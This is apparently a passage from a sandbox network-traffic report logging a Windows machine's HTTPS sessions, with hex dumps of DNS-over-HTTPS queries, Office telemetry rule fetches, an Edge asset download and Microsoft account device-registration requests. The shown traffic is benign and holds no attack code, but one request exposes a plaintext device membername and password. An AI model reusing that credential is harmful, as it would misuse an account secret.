2024-11-12 07:30:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 07:30:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 07:30:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14d13c9cb42e61-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 07:30:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f5 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49829	172.64.41.3	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 07:30:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 07:30:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14d13cbb10e70a-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 07:30:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 01 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49826	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 07:30:33 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 07:30:33 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 07:29:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: b32fd66d-c53d-4897-af48-3699051c3960 PPServer: PPV: 30 H: BL02EPF0001D853 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 07:30:33 GMT Connection: close Content-Length: 1276
2024-11-12 07:30:33 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: df0f13af-501e-00a3-0ca5-34c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073033Z-17df447cdb5c9wvxhC1DFWn08n0000000c1g000000002z2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49832	13.107.246.45	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:33 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: d81471c5-b01e-0075-32c3-34efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T073033Z-17df447cdb57srlrhC1DFWwgas0000000c10000000004uu0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-12 07:30:33 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-12 07:30:33 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-12 07:30:33 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-12 07:30:33 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073033Z-16547b76f7f7lhvnhC1DFWa2k00000000f70000000007bd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073033Z-16547b76f7f775p5hC1DFWzdvn0000000fb0000000004w83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49830	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:33 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-12 07:30:33 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 68 64 63 76 70 69 6d 71 64 67 72 69 74 6e 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 21 67 2f 41 6d 78 66 25 32 34 63 6d 5e 2a 57 63 3b 69 75 6c 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02hdcvpimqdgritn</Membername><Password>!g/Amxf%24cm^*Wc;iul</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-12 07:30:36 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 12 Nov 2024 07:29:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 46d1dccc-e32a-42f7-9aff-1bbaf88ebabf PPServer: PPV: 30 H: PH1PEPF00011F04 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 07:30:35 GMT Connection: close Content-Length: 17166
